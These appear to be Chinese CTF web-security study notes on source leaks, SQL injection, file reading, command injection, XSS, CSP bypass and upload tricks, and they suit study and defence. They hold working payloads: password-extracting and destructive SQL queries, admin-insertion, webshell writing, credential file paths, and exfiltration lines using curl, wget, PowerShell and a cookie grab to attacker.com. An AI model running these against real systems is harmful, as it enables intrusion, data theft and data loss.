如果有师傅想要交流的,欢迎加我qq1210078968,一起进步
git reset
命令,恢复到以前版本git log -stat
git diff HEAD commit-id
git log --all
git branch -v
git reflog
查看checkout记录管理员操作不规范会倒是svn隐藏文件夹暴露于外网中,
.svn/entries 或者 wc.db文件获取服务器源码
hg会在当前文件夹下创建.hg隐藏文8件,包含代码和分支修改记录等信息
Linux下,用gedit编辑器保存后,当前目录会生成一个后缀~
的文件
见ctfhub vim 题 .swp
的备份文件
robots.txt ------ 记录目录和cms信息
readme.md ------------记录cms信息甚至github地址
www.zip/rar/tar.gz --------源码备份
我见过一个 a.zip的源码备份
网站域名的压缩包也可能是备份·
比如云悉
跳转的时候,302 404的时候 debug的时候会显示
这里只写主要语句了
$res = mysqli_query($conn,"select title ,content from wp_news where id = ".$_GET['id']);
使用加减乘除运算进行验证
即:id = 3-1 或者 id = 2
联合查询的话
select title,content from wp_news where id =1 union select user pwd from wp_user
这个作用是 查询新闻表 id =1的title content 字段的数据,并且联合查询用户表中 user pwd 的全部内容
%20 是空格 URL的编码格式
如果显示的有限的话,就需要进行报错,或者进行limit 1,1
limit是一个条件限定,作用是取查询结果中,第一条记录之后的一条记录, 也就是pwd和user了
如何知道数据库的结构呢?
在mysql 5.0之后,自带information.schema 存储mysql所有的数据库名,表名,字段名,
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
table_name 字段是information_schema 库的tables表的表名字段,表中还有数据库名字字段table_schema 而database() 函数返回的内容,就是当前数据库的名称,
columns 表同理
在mysql中,等号两边如果类型不一样,则会发生强制转换,
'1'=1 '1a'=1 'a'=0
空格的编码是 %20
#的编码是 %23
布尔盲注
也就是
id='1' and True或者是False
and 后为假,则页面无返回,and后为真 则页面有返回
那么猜测的时候也就是
id='1' and ‘f’='你猜测的'
当然我们可以使用 < >
等代替 =
加快速度,也就是二分法
上述情况适用于单字符,而数据库中的数据大多不是一个字符,那么
如何获取每一位数据呢
利用MYSQL 自带的函数
substring(),mid(),substr()
例如 substring(“123”,2,1)
输出结果为 2
mid(“abcde”,1,1)
结果为 a
substr(“12345”,1,1)
结果为 1
通过盲注获取
同时截取第一位
利用语句
select MID((select concat(user,0x7e,pwd) from wp_user),1,1)
只要触发sql语句,就能在页面上看到错误信息,这种,被称为报错注入
$res = mysqli_query($conn,"select title,content from wp_news where id =' ".$GET['id'] or VAR_DUMP(mysqli_error($conn))")
$ row = mysqli_fetch_arrary($res)
echo $row['title']
根据资料显示,updatexml 在执行时,第二个参数应该为合法的XPATH参数,否则就会在引发报错的同时,将传入的参数进行输出,
这样的话,1' or updatexml(1,concat(0x7e,(select pwd from wp_user)),1) %23
第二个参数的东西就会输出
另外,当开启多语句执行的时候,叫堆叠注入
try{
foreach($db->query($sql) as $row){
print_r($row);
}
}
catch(PDOException $e){
echo $e->getMessage();
die();
}
1';delete from wp_files;
以上的注入优先级:
union》报错》布尔》时间盲注
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr, ...
[INTO OUTFILE 'file_name' export_options | INTO DUMPFILE 'file_name']
FROM table_references
[WHERE where_definition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_definition]
[ORDER BY {col_name | expr | position}
[ASC | DESC] , ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[FOR UPDATE | LOCK IN SHARE MODE]]
从sql语句的语法角度,从不同注入点,讲述sql注入的技巧
关键语句如下
$mysqli_query($conn,"select ${_GET['id']},content from wp_news")
可以使用AS别名,在知道他显示的是哪个,将我们要查询的数据,设置别名,直接显示。
id=(select +pwd+from+wp_user)+as+title
那么,在如下有title输出的地方,都会被输出
$res = mysqli_query($conn,"select title from ${_GET['table']}");
仍然使用别名,将内容直接取出
比如这样
select title from (select pwd as title from wp_user)x
x 代表表名
当然如果不知道表名的情况下,我们可以先从information_schema.talbes 中查询表名
如果注入的存在反引号包裹,那么我们首先需要闭合反引号。
最常见的地方,
$res = mysqli_query($conn,"select title from wp_news where id = ${_GET[id]}");
$res = mysqli_query($conn,"select title from wp_news GROUP By ${_GET['title']}");
那么使用title = id desc,(if(1,sleep(1),1))
会让页面延迟1秒,那么就可以进行时间注入
本节的注入,主要原因是没有预编译,只要对输入的值进行白名单,基本防御这个注入
较为简单,通过更改,数字大小,就会显示,更多或者更少的记录,由于语法限制,只能为数字,在sql语句没有order by 的情况下,可以使用union注入
我们也可以根据,select 语法,使用PROCEDURE来注入
select id from wp_news limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);
同样可以基于时间注入
procedure analyse((select extracvalue(1,concat(0x3a,(IF(MID(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
BENCHMARKde 语句处理时间为1秒。
BENCHMARK(count,expr) 将表达式expr重复运行count次
在有写入权限的特定情况下,也可以使用into OUTFILE
语句向web写入shell,在无法控制文件内容的情况下,可以控制部分内容
select xx into outfile "/tmp/xx.php" LINES TERMINATED BY ''
通常注入点位于字段名,或者字段值的地方,而且没有回显信息
如果能够通过注释符注释后续语句,则可以插入特定数据,到想要的表内,如,管理员表,之类的
$res = mysqli_query($conn,"INSERT into {$_GET['table']} values(2,2,2,2)");
这里因为可以控制表名,
我们输入
table=wp_user values(2,'newadmin','newpass') #
即可成功插入新的管理员
假设语句为
insert into wp_user values(1,1,’可控位置')
此时可以闭合单引号,另行插入一条记录,通常管理员和普通用户在一个表,通过表字段来控制管理员权限
insert into wp_user values(1,0,'1'),(2,1,'aaa');
如果用户表, 的第二个字段代表管理员权限识别,便能插入了
’
在某些情况下,我们也可以插入能回显的字段,来快速获取数据,我们假设 他最后一个可以进行输出
可以这样
insert into wp_user values(1,1,'1'),(2,2,(select pwd from wp_user limit 1 ));
用于数据库记录的更新,如用户修改自己的文章,介绍信息,更新信息等等,
当id可控时,则可以修改多个字段数据
update wp_user set id=3,user='xxx' user = ‘23’
他大部分时在where之后,
$res = mysqli_query($conn,“delect from wp_news where id = {$_GET['id']}”);
DELETE 语句的作用时删除某个表的全部或指定行的数据,对id参数进行注入时,稍有不慎就会导致where值为true 使得wp_news 所有的数据被删除,
为了保证不对数据进行干扰,
通常使用and sleep(1)
的方式保证where 后面返回为false让语句无法成功
讲防御手段和绕过注入的方法,提供思路,而不是注入宝典的参考
比如
$id = str_replace(" ","",$sql);
我们可以使用
%0a,%0b,%0c,%0d,%09,%a0
他们均为URL编码,%a0在特定字符集才能利用
还有/**/组合,括号等,
可以使用嵌套
SELSELECTECT
SelEct
正则匹配\bselect\b
我们可以使用/*50000select*/
绕过
当MySQL版本大于或等于50000,也就是版本大于或者等于5.0时,那么该注释会被解析成代码。
/*!from*/
能够执行,中间的50000不写,应该默认的是最低版本。
比如
$sql = "SElect * from wp_news where id = '可控1' and title = '可控2'"
可以构造这样的
$sql = "select * from wp_news where id = 'a\' and title =' or sleep(1)#' "
因为反斜杠,使得第二个单引号逃逸,执行了sleep
一般会全局的addslashes 也就是统一转义 单引号,反斜杠
urldecode,base64_decode 或者自定义的加解密函数,当用户输入addslashes函数时,往往因为编码状态,引号无法转义,同样也存在于字符集的转换上
上传的文件名,httpheader,$_SERVER[‘PHP_SELF’]
等这些变量有可能被遗忘
信任从数据库中取出的数据是无害的
如果他限制了不能超过10个字符,
$title = substr($title1,0,10);
$sql = "INSERT into wp_news values(2,'title','$content')"
假设攻击者输入了
aaaaaaaaa'
正好十个,
那么,最后一个会转义,反而成了
aaaaaaaaa\
就会将他预置的单引号转义,那么content就可以进行注入
&content = ,1,1),(3,4,(select pwd from wp_user limit 1),1) #
wp_news 新增了两列,
那么合起来的语句是这个
insert into wp_news values(2, 'aaaaaaaaa\',',1,1),(3,4,(select pwd from wp_user limit 1),1)#')
PHP读取文件有:
file_get_contents()
file()
fopen()[及其文件指针操作函数fread(),fgets()等]
文件包含的函数有
include()
require()
include_once()
require_once()
以及通过php执行命令
system()
exec() 等
php扩展也提供了一些读取文件的函数
例如
php-curl扩展
文件内容作为了HTTP body
php与其他语言不同,php向用户提供了 打开文件的方式 是一种文件流
其中最具特色的就是php://协议
除了wrapper php 另一个特色机制就是Filter
他是对流进行处理,(比如全变大写)
这两个都可以通过php.ini禁用
php文件包含的实际情况是
第一种情况,php较低版本的地方,可以使用\x00
截断
对应的URL编码是%00。
当服务器存在上传功能的时候,我们也可以尝试 zip 或则和phar协议直接进行文件包含,进而执行php代码
第二种情况,可以通过../
来读取文件,目录穿越,这种情况无法使用Wrapper,如果服务端利用include等文件包含函数,我们将无法通过读取php文件中的php代码。
第三中情况和第一种类似,无法使用Wrapper 进行包含
与php不同的是,python的web应用,更倾向于通过自身的模块启动服务,同时,搭配中间件,代理服务将整个WEB给了用户,所以很容易出现非预期。
漏洞经常出现在框架请求静态资源文件的部分,也就是open函数,但是直接的漏洞成因往往是因为框架开发者忽略了python的特色,如os.path.join()函数
>>> os.path.join("/a","/b")
'/b'
很多开发者,是判断是否包含.
来保证用户不会发生目录穿越,随后将输入的带入os.path.join的第二个参数,如果用户传入/
则进入根目录
除了本身的FileInputStream ,XXE 导致的文件读取,java的一些模块,也支持file:// 协议,
ruby的任意文件读取通常与rails 框架相关,
通用漏洞是
Ruby on rails (CVE-2016-0752)
node js express模块曾存在任意文件读取漏洞
(CVE-2017-14849)
CTF 中,常见于模板注入,代码注入
不同的中间件,服务器同样存在文件读取漏洞
ctf中常见, 尤其是python-web
location /static{
alias /home/myapp/static/;
}
这个的话,用户可以访问静态目录,但是如果用户请求的是
/static../
拼接到alias 上面,就成了 /home/myapp/static/../
此时便存在了目录穿越,穿越到了myapp
下,
tips:
漏洞成因是 location 最后没有加/
的限制,
应该需要改成 /static/
可以进行读取的数据库很多,这里以MYSQL为例
load_file()函数
但是这个读取文件需要数据库配置FILE权限,其次需要所在的用户组对于目标文件有可读权限,(很多配置文件都是所有用户可读的),
Linux系统下,还需要Apparmor配置目录白名单,(默认白名单限制是在MYSQL相关目录下)
还有一个
这种需要完整的sql语句
load data infile
这种需要file权限,比较少见。
bash命令可以使用ln -s
来创建一个指定文件的软连接,然后我们将软连接文件上传到服务器,在访问这个链接文件,相当于在服务器请求他指向的文件
DockerApi可以控制Docker的行为,它通过 Unix Socket 通讯,也可以通过HTTP 直接通讯,遇到SSRF时候,可以造作DockerAPI 把本地文件载入Docker 新容器进行读取,(ADD,COPY操作)
客户端也存在文件读取漏洞的,一般基于xss
浏览器会禁止js读取文件,如果js使用file协议读取,一般会返回跨域
MarkDown可以解析js,很少有同源策略对其限制
../../../../../../../../../../flag(.txt|.php|.pyc|.py)
flag(.txt|.php|.pyc|.py)
[dir_you_know]/flag(.txt|.php|.pyc|.py)
../../../../../../../../../etc/flag(.txt|.php|.pyc|.py)
../../../../../../../../../tmp/flag(.txt|.php|.pyc|.py)
../../../../../../../../../root/flag(.txt|.php|.pyc|.py)
../../../../../../../../../home/flag(.txt|.php|.pyc|.py)
../../../../../../../../../root/[user_you_know]/flag(.txt|.php|.pyc|.py)
../flag(.txt|.php|.pyc|.py)
1、/etc 目录
etc下多为各种系统应用和系统配置文件,所以很重要
2、/etc/passwd
是LInux保存用户信息及其工作目录的文件,权限是所有用户可读,
一般被用作判断文件读取漏洞存在性的基准
3、/etc/shadow
Linux保存用户信息,以及密码(hash)的文件,权限root用户可读可写,shadow组可读
所以一般这个文件不可读
4、/etc/apache2/*
Apache配置文件,可或者web目录,服务器端口等信息,
5、/etc/nginx/*
Nginx的配置文件,获知web目录,服务器端口等信息
6、/etc/apparmor(.d)/*
Apparmor的配置文件,获知各个应用的系统调用白名单,黑名单,
例如
配置文件可以查看mysql是否禁用系统调用,从而确定是否课以试用UDF执行系统命令
7、/etc/(cron.d/*|crontab)
定时任务文件,
8、/etc/environment
环境变量配置文件之一,环境变量可能存在大量目录泄露,甚至可能出现,secret key 泄露
9、/etc/hostname
表示主机名
10、/etc/hosts
主机查询静态表,包含指定域名解析IP的成对信息,通过这个文件,可以探测网卡信息和内网IP信息
11、/etc/issue
指名系统版本
12、/etc/mysql/*
MYSQL配置文件
13、/etc/php/*
PHP配置文件
14、/proc 目录
目录通常存放进程动态运行的各种信息,本质是一个虚拟目录,
如果要查看非当前进程的信息,可以通过pid 进行暴力破解,如果要查看当前进程,只需要/proc/self/代替/proc/[pid] 即可
对应的cmdline 可以读出比较敏感的信息,如使用
mysql -u -p 登陆的的时候
他会显示明文密码
/proc/[pid]/cmdline
/proc/[pid]/cwd
cwd 可以跳转到当前应用的目录
/proc/[pid]/environ
环境变量中可能存在secret_key
15、其他目录
nginx 配置文件可能存在其他路径
/usr/local/nginx/conf/*
源代码安装或者其他一些解题思路
日志文件
/var/log/*
经常出现在apache2的web应用可读/var/log/apache2/access.log从而分析日志,盗取其他选手解题思路
Apache默认web根目录
/var/www/html/
PHPsession目录
/var/lib/php(5)/sessions/
用户目录
[user_dir_you_konw]/.bash_history(泄露历史执行命令)
[user_dir_you_konw]/.bashrc(部分环境变量)
[user_dir_you_konw]/.ssh/id_rsa(.pub)(ssh登录私钥/公钥)
[user_dir_you_konw].viminfo (vim使用记录)
windows和php搭配时存在问题,可以使用“<” 等符号,作为通配符
(暂时略,之前的ssrf-lab部分采用这里)
通常,开发者使用一些执行命令的函数,没有对用户输入的进行检查
作用
在各类编程语言中,为了方便程序处理,通常会存在各种执行外部程序的函数,当调用函数执行命令的时候且未对输入做过滤时,通过注入而已恶意命令,造成巨大危害。
php system举例
$id = $_GET['d'];
system("echo" . $dir); //执行echo程序将传入的参数字符串输出到网页
我们给D传什么参,网页会输出什么
当d变为了 for test %26%26 whoami
输出结果
相当于&& whoami
为了避免url歧义,所以使用url编码&
在各类编程语言中&&
代表着and语法
(表达式1)and(表达式2)
当两边都为真时,才会返回真,类似的语法还有or
用||
表示,
注意,他们存在惰性
在and语法中,若第一个表达式为假,则第二个表达式也不会执行
在or语法中,若第一个表达式为真,第二个表达式也不会执行
了解cmd.exe bash
程序在解析命令时的规则
linux windows异同点
cmd.exe 和 bash 能够解析很多特殊字符,他们能让BAT脚本和Bash脚本处理工作更加便捷,但是如果想要去除转义字符的意义,就需要转义
Windows转义字符是^
Linux转义字符是\
在命令注入中,通常需要注入多条命令来扩大危害,下面是能够构成多条命令的字符串
Windows下:&& || %0a
Linux 下 : && || ; $() `` %0a %0d
在linux下,$() 和 ``
包裹的会作为命令执行,
但是单引号包裹的字符串就是纯正的字符串,不会进行任何解析
Windows的注释符号是 ::
在Bat批处理脚本中用的多,
Linux的注释符号是#
在bash脚本中用的多
在面对未知的命令注入时,最好通过各种FUZZ来确认命令注入点和黑名单规则,一般命令格式如下
程序名1 -程序参数名1 参数值1 && 程序2 -程序参树名2 参数值2
以ping -nc 1 www.baidu.com
为例来构建Fuzz列表
程序名:ping
参数: -nc
参数值 1和www.baidu.com
程序名和参数值之间的字符串 : 空格
整个命令
参数值有时候较为复杂,可能是部分可控,被双引号,单引号包裹,需要额外注入引号来逃逸
比如
fuzz列表
&& curl www.vps.com &&
`curl www.vps.com`
;curl www.vps.com;
再将fuzz列表插入命令点后,通过查看web日志来看是否存在漏洞
例如PHP
$cmd = str_replace("","",$_GET['cmd'])
%20 是空格
我们可以使用burp suite 对
%00~%ff
区间的字符进行测试,可以发现还能用其他字符串绕过如%09,%0b,%0c
等
例如命令如下
%ProgramFiles:~10,1%
其中~
相当于截取符,表示获取环境变量%ProgramFile%的值,一般为C:\Program Files。所以以上命令表示 从第十个开始且获取一个字符串,也就是空格
linux中一些绕过空格的方式
$IFS$9
Bash有效,zsh,dash无效
{cmd,args}
读取文件时:
cat<>flag
========================================================
$IFS$9
Linux存在IFS环境变量,(Internal Field Separator) 即内部字段分隔符,定义了bash shell的命令间隔字符,一般为空格,注意,当只有注入$IFS
时,即执行的命令结果为echo$IFSaaa
他解析了$IFSaaa
因此变量不存在,所以需要间隔符来避免,通常使用$9
,表示当前系统的shell进程的第九个参数,通常是一个空字符串
当然可以使用
${IFS}
或者在某些平台下,通过修改IFS变量为逗号来进行注入
即;IFS=,;
如果对cat flag等字段进行拦截,我们可以
Linux:a=c;b=at;c=he;d=llo;$a$b ${c}${d}
这里执行cat hello
在通配符中?
代表任意一个字符串,*
代表任意个字符串
cat /tm?/fl* (linux)
type fla*(windows)
若是禁用了<>?
等字符串,则可以借用其他文件中的字符串,利用substr() 函数截取出某个具体字符,
awk 是这么使用,NR代表行
CTF中时常遇到命令执行的结果不在网页上显示,
在开始前,可以先搭建一个VTest平台,
http://github.com/opensec-cn/vtest
方便测试
测试代码如下
exec($_GET['cmd']);
假设自己的域名是example.com 下面以获取当前用户权限为例
在Windows下,只能通过相对复杂的命令进行外带,(如果windows支持linux命令,方便外带)
for /F %x in ('echo hello') do start http://example.com/httplog/%x
通过for 命令,将echo hello 执行的结果存储在%x变量中,然后拼接到URL上
缺陷调用浏览器无法关闭,遇上特殊字符,空格,会存在截断,所以借用powershell外带处理
Powershell2.0下,执行如下命令
for /F %x in ('echo hello') do powershell $a = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b = New-Object System.Net.WebClient;$b.DownloadString('http://example/httplog/'+$a);
这个是对echo hello 的执行结果,进行bas64编码,然后通过web请求发出去
在Linux下,因为存在管道符,极其方便传输数据,利用curl,wget
等程序
例如
curl example.com/`whoami`
wget example.com/$(id|base64)
通常使用ping 来测试dns进行数据外带,ping的参数在linux和windows有些不同,
比如
win -n
限制ping的个数
linux -c
限制ping的个数
为了兼容性,我们可以一块儿用!
ping -nc 1 test.example.com
Linux下
ping -c 1 `whoami`.example.com
Windwos下相对复杂
利用delims命令进行分割处理,最终拼接到域名前面,利用Ping外带
获取计算机名字
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.example.com
获取用户名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.example.com
主要利用&&和||
的惰性,利用时间盲注,在linux下使用sleep函数,在windows下利用耗时的命令,ping -n 5 127.0.0.1
有时因为网络不好,时间类读取数据极其缓慢,我们可以考虑,将执行命令,写入web目录下,再通过web访问文件,例如通过>
重定向,将结果导入WEB目录下,
http://xxxxx/3.php?cmd=whoami>test
访问
http://xxxxx/test
跨站脚本(Cross-Site Scripting,XSS)是一个网站应用程序的安全漏洞攻击,代码注入的一种,允许恶意用户将代码注入网页,其他用户观看网页收到影响,这类通常包含html和用户端脚本语言
XSS攻击通常利用网页开发留下的漏洞,巧妙注入恶意指令代码到网页,使用户加载,这些恶意网页程序通常是JavaScript,但是可以包括java,vbscrpit,activeX,FLash或者是普通的html。
根据xss漏洞点的触发特征,XSS分为反射型XSS,存储型XSS,反射型XSS通常指的是,恶意代码未被服务器存储,每次触发漏洞的时候,将恶意代码通过GET/POST 方式提交,然后触发漏洞。存储则相反,恶意代码被服务器存储访问页面时触发,(留言板之类的)
第二
输入的数据被拼接到HTML内容中时,有时候被输入到了一些特殊的位置,如标签属性,JavaScrpit变量的值,此时通过闭合标签或者语句可以实现payload的逃逸
比如:通过标签属性中注入on事件,可以执行恶意代码,
onfocus=“alert(1)”
第三种情况,我们的输入被输出到了javaScript变量中,此时可以构造输入,闭合前面双引号,同时引入恶意代码。
$name = $_GET['name'];
<body>
<script type = "text/javascript">
var username = "=$name?>";
document.write("hello".username);
</script>
</body>
此时我们输入aaa"%2balert(1)
%2b是+
以上三种是xss中最简单的场景
是原有的javaScript代码执行后,需要进行DOM树节点增加,或者元素的修改,引入了被污染的变量,从而导致XSS,
如下代码
其功能是获取imgurl
参数中的图片链接,然后拼接处一个图片标签并显示到网页中。
<script type="text/javascript">
function getUrlParam(name){
var reg = new RegExp("(^|&)"+name+"=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg);
if(r != null) return decodeURI(r[2]);return null;
var imgurl = getUrlParam("imgurl");
var imagehtml = "";
</script>
我们可以看到,代码最终拼接到了img标签中并被执行。
决定上传的文件是否能被浏览器解析成HTML代码的关键是HTTP响应头中,的元素Content-Type,所以无论上传的文件是什么样的后缀被保存在服务器上,只要访问上传的文件时返回的是text/html,就可以成功的被浏览器解析并执行,类似的,flash文件的application/x-shockwave-flash也是可以执行xss的
事实上,浏览器会默认把请求响应当作html内容解析,如空的和畸形content-type,由于浏览器会有差异,需要测试,比如chrome中空的就会被认为text/html
基本上所有的标签都可以用on事件
来触发恶意代码,比如
this is title
另一个比较常用的是
其他常见标签如下
click
html5特性参考http://html5sec.org
很多标签的on事件触发是需要交互的,如鼠标滑过,点击。参考
input标签的autofocus属性
会自动使光标聚焦于此,不需要交换u就可以触发onfocus事件
两个input元素竞争焦点,当焦点到另一个input元素时,前面的会触发blur事件
我们在页面上,经常看到javascript:void(0)
这个是javascript伪协议
实现的,
如果手动单击,或者页面中javascript执行跳转到javascript伪协议时,浏览器并不会带领我们去访问这个地址,而是把javascript:后面的那一段内容当作javascript代码来执行,直接在当前页面执行
所以对于这样的标签,
click
单机这个标签并不会跳转到其他页面,而是在当前页面执行了alert(1)
除了直接用a标签单击触发,javascript协议触发方式还有很多
比如,javascript协议进行页面跳转的时候,跳转的协议使用javascript伪协议也能进行触发,代码如下
<script type="text/javascript">
location.href="javascript:alert(document.domain)";
</script>
所以如果在登录/退出中业务存在这样的代码
<script type="text/javascript">
function getUrlParam(name){
var reg = new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if(r!=null)
return decodeURI(r[2]);
return null;
}
var jumpurl = getUrlParam("jumpurl");
document.location.href=jumpurl
location.href="javascript:alert(document.domain)";
</script>
即,跳转的地址是我们可控的,我们就能控制跳转的地址到javascript伪协议,从而实现xss
另外,iframe标签和form标签也支持javascript伪协议,不同的是,iframe标签不需要交互即可触发。而form标签需要在提交表单时才会触发。
当然除了javascript伪协议,还有其他伪协议也可以在iframe标签中实现效果
例如data伪协议
后端语言例如flask 的jinja2使用不当,可能存在模板注入。
主要的过滤层有两个: WAF层,代码层
对于发邮件和写博客,标签必不可少,比如嵌入超链接,图片需要HTML
标签,如果对标签进行黑名单过滤,必然出现遗漏,我们可以找没有过滤的
双写啦,大小写啦
错误的过滤方式甚至能帮助我们绕过浏览器xss过滤
如果没有过滤<
>
我们可以直接引入新的标签,比如onload、onmousemove
等,当语句被输出到标签事件位置时,可以通过对payload进行html编码进行绕过
可以利用burpsuite对payload进行实体编码
打开浏览器即可触发
这里的触发与浏览器带的渲染页面顺序有关,我们的payload在标签属性中,触发事件前,浏览器已经对payload进行了一次解码,才能在实体编码转换为常规数据
如果javascript过滤了eval(
可以通过以下输出
aaa=eval;
aaa("eval code");
通过闭合javascript语句,会使攻击语句逃逸,这时,对引号进行转义,进而防御xss
但是配合特殊的场景,仍然可能形成xss,例如对于如下双输入的注入
select * from users where name='输入1' and pass = '输入2‘
如果只考虑单引号而没有考虑\
那么我们可以考虑转义第二个语句的前一个引号,使得第一个与第三个进行闭合
比如这样
select * from users where name = '\' and pass = 'union select xxxxx#'
xss中也有这样的场景
<script type = "text/javascript">
var url = 'http://xxx.com?name=$name?>'+'=$address?>';
</script>
因为htmlentities不会过滤\
我们在name处输入\
在address变量前面发生了闭合,然后进一步用eval(window.name)
引入恶意代码或是使用String.fromCharCode
来避免使用引号等过滤的字符。
还有小技巧
将payload藏在location.hash中,则URL中#
后的字符不会发到服务器,所以不存在被服务过滤的情况,
比如
8.php?name=aaa\&addr=;eval(unescape(location.hash.slice(1)));//#alert('payload hide in hash')
在javascript反引号也可以作为字符串的边界符
8.php?name=aaa\&addr=;alert(`反引号也是可以用来作为边界符的`);//
CSP(Content Security Policy)内容安全策略,额外的一个安全层,用于检测,并削弱某些特定类型的攻击,包括xss
CSP被设计成为完全向后兼容,不支持csp的浏览器也能与csp服务器正常合作,反之亦然,不支持csp的浏览器指挥忽略他,正常运行,默认的网页内容使用标准的同源策略,如果网站不提供csp头部,那么也是用标准的同源策略。
为了使用CSP,配置网络服务器返回content-security-policy http头部
除此之外 元素也可以用来配置该策略
csp策略是额外添加一些浏览器渲染页面,执行js规则,这个规则是在浏览器层执行的,只要配置服务返回content-security-policy头
例如
header('Content-Security-Policy: script-src *.baidu.com');
?>
这段代码会规定,这个页面引用的js文件只允许来自于百度的子域,其他任何方法的js执行都会被拦截,包括页面本身的script标签内的代码,如果引用了不可信域的js文件,则在console会报错。
CSP规则很多,只是简单举例,
例如 对于script-src'self'
self对应的csp规则允许加载本地的文件,我们可以通过这个站点可控的连接写入恶意的内容
如文件上传,JSONP接口。
JSONP
命令进行绕过,假设存在jsonp接口,我们可以通过jsonp接口引入符合规则的javascript语法的代码。
callback({'status':'success'})
可以弹个窗
alert('bypass csp!');//({'status':'success'})
另外一些常见的绕过方法,如下
h5预加载,仅google支持
DNS预加载
当传出数据有限时,则可以利用js动态生成link标签
将数据传输到服务器中,如通过get参数带出cookie
还有就是来利用页面跳转,包括a标签跳转,location变量赋值的跳转,meta标签的跳转等手法,通过跳转带出数据
location.href="http://attacker.com/?c="+escape(document.cookie)
基础的文件上传见b站我的视频讲解,
https://www.bilibili.com/video/BV1Ka4y1a7Ln
本章总结视频里没有讲到的文件上传。
php的上传
上传时,文件为x.php\00.jpg
tips:
在java jdk7u40以下版本存在00截断问题
php转换字符集通常使用inconv()函数
UTF-8在单字节时允许的字符范围是
0x00~0x7F
如果转化的字符不在该范围内,则会造成
PHP_ICONV_ERR_ILLEGAL_SEQ
异常,
当php版本低于5.4时,转换字符集能够造成截断。5.4版本以上会存在问题。
我们可以拿burpsuite跑一波后缀
比如x.php\x99.jpg
php常见可执行后缀是php3,php5,phtml,pht
等
aps的常见后缀是cdx,cer,asa
等
jsp可以尝试jspx
在上传php文件限制时,可以通过上传PHTML文件实现绕过,
可解析的后缀在不同环境不尽相同,如果环境是windows系统
可以尝试php,php::$DATA, php.
等后缀,
或者先上传a.php:.jpg
生成空的a.php文件,再上传a.ph<
写入文件内容,再windows下,文件名不区分大小写,可是上传的时候是区分的,
所以可以尝试大小写绕过。若WEb服务配置了SSI,还可以尝试上传SHTML,SHT等文件命令执行。
在低于2.3.8的版本中,AllowOverride指令默认为ALL
在2.3.9的版本中,默认为None,
在高版本Apache中,.htaccess已经没有效果了。
如果低于2.3.8
可以使用SetHandler指令使php解析指定文件。
当然,.htaccess文件并不能覆盖所有的主配置文件的指令
例如这个htaccess文件
AddHandler php5-script .php
#AddHandler 指令的作用是在文件扩展名与特定的处理器之间建立映射
#指定扩展名为.php的文件应该被php5-script处理器来处理。
同样,.user.ini文件也不能覆盖所有的php.ini中的配置
PHP_INI_PREDIR模式,存在两个特殊的配置。
auto_append_file 指定一个文件在主文件解析前解析
auto_prepend_file 指定一个文件在主文件解析后解析
使用user.ini绕过上传黑名单还是有很大局限性的。因为当前目录如果没有php文件,他就不能被执行。
IIS6中存在两个解析漏洞
*.asp
文件夹下所有的文件都会被当作脚本文件进行解析
yu.asp;a.jpg
的文件会被解析成asp文件,而且还可以绕过白名单后缀
Nginx未配置try_files且FPM 未设置security.limit_extensions场景下可能出现解析漏洞
nginx配置如下
location ~ \.php ${
#try_files $uri=404
fastcgi_pass
unix:/Applications/MAMP/Library/logs/fastcgi/nginxFastCGI_php5.3.14.sock
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include /Applications/MAMP/conf/nginx/fastcgi_params
}
上传x.jpg
访问x.jpg/1.php
location为.php结尾,会交给FPM处理,此时$fastcgi_script_name值为
x.jpg/1.php
在php开启cgi.fix_pathinfo配置的时候,x.jpg/1.php
文件不存在,然后fallback去除/
之后的内容,继续判断x.jpg是否存在从而执行
此时从右向左判断
如果FPM没有配置security.limit_extensions,限制执行后缀必须为php,则会产生解析漏洞。
apache中,单个文件支持拥有多个后缀,如果多个后缀都存在对应的handler
,或者media-type
那么对应的handler会处理当前的文件
在AddHandler aplication/x-httpd-php .php
配置下,
x.php.xxx
文件会使用aplication/x-httpd-php
来处理当前文件
多后缀从最右后缀开始识别,如果不存在对应的MIME type或者Handler 就会继续向左识别,。
在HTTPD2.4.0和2.4.29版本中,FilesMatch指令正则$
可以匹配换行符,可以导致黑名单绕过
Apache配置如下
SetHandler application/x-httpd-php
本意指的是解析php结尾的文件,但是由于
php\n
也能被解析,剋上传x.php\n来绕过黑名单,不过在PHP中$_FILES上传会清除\n
导致字符不能利用。
但是如果他使用file_put_contents实现的上传,那么就可以
我们有时候会有很多上传的东西,但是他不解析,通常是因为在WEB服务器配置中,上传目录下脚本禁止解析或者访问,比如尝试上传../x.php
等类似文件,当然对于$_FILES是不可能实现的,
低于9.22版本的jQuery-File-Upload在自带的上传脚本(server/php/index.php)中,验证上传文件后缀使用的正则为
‘accept_file_types=>'/.+$/i'’
也就是允许任意文件上传,
之所以有底气,是因为.htaccess文件配置上传的脚本文件无法被执行,
但是在apache 2.3.9起
AllowOverride默认为None,所以.htaccess任何指令无法使用。
导致漏洞
上传到OSS的脚本文件不会被服务端解析,但是可以通过上传HTML,SVG的等文件,让浏览器实现XSS,不过XSS在aliyuncs.com域下没有用
当OSS绑定在二级域名下的时候,xss就有用了
如果上传脚本文件无法被访问或解析,那么可以上传php文件配合文件包含实现解析。
类似的场景还有SSTI,常为用户选择可以加载的模板,但是模板文件后缀通常写死。所以这时可以通过任意文件上传模板文件,然后渲染上传的模板实现SSTI。
上传目录中禁止文件执行通常在web服务器中配置。在配置不当的情况下可能存在绕过。
location ~ /upload/.*\.(php|php5|phtml|pht)${
deny all;
}
location ~ \.php(/|$){
省略
}
